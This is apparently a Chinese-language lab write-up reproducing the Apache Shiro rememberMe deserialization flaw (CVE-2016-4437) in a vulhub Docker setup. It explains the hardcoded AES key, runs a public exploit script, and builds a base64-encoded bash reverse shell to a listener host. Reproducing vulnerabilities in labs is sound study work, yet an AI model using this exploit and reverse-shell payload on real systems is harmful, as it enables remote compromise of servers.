ApacheShiro反序列化漏洞复现(CVE-2016-4437)
漏洞描述
Apache Shiro是⼀个Java安全框架,执⾏⾝份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,⽆论shiro是什么版本都会导致反序列化漏洞。
漏洞原理
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时⽆需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进⾏序列化、AES加密、Base64编码操作。
在识别⾝份的时候,需要对Cookie⾥的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
获取rememberMe cookie
base64 decode
shiro安全框架解密AES(加密密钥硬编码)
反序列化(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码⾥,意味着每个⼈通过源代码都能拿到AES加密的密钥。因此,攻击者构造⼀个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。
漏洞复现
1、进⼊vulhub-master/shiro/CVE-2016-4437⽬录下
2、docker环境启动
docker-compose up -d
3、浏览器访问192.168.2.147:8080
4、使⽤Shiro_exploit的poc进⾏漏洞利⽤
python3 shiro_exploit.py -t 3 -u 192.168.2.147:8080 -p ""
5、成功在服务器创建a.txt⽂件
利⽤nc反弹shell
通过Runtime().exec()执⾏命令的有效负载有时会失败。使⽤WebShell,反序列化漏洞或通过其他媒介时,可能会发⽣这种情况。
这是因为重定向和管道字符的使⽤⽅式在启动过程的上下⽂中没有意义。例如,在shell中执⾏ls > dir_listing会将当前⽬录的列表输出到名为dir_listing的⽂件中。但是在exec()函数的上下⽂中,该命令将被解释为获取>和dir_listing⽬录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如ls "My Directory" 之类的东西将被解释为ls '"My' 'Directory"'。
借助Base64编码,下⾯的转换器可以帮助减少这些问题。它可以通过调⽤Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
1、客户端监听666端⼝
nc -lvp 666
2、加密反弹shell
bash -i >& /dev/tcp/192.168.2.130/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
3、使⽤Shiro_exploit的poc漏洞执⾏反弹shell名
python3 shiro_exploit.py -t 3 -u 192.168.2.147:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD 4mMQ==}|{base64,-d}|{bash,-i}"
4、反弹成功
POC
漏洞脚本地址:
漏洞修复
apache shiro命令执⾏流量分析
参考链接
免责声明
严禁读者利⽤以上介绍知识点对⽹站进⾏⾮法操作 , 本⽂仅⽤于技术交流和学习 , 如果您利⽤⽂章中介绍的知识对他⼈造成损失 , 后果由您⾃⾏承担 , 如果您不能同意该约定 , 请您务必不要阅读该⽂章 , 感谢您的配合 !

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。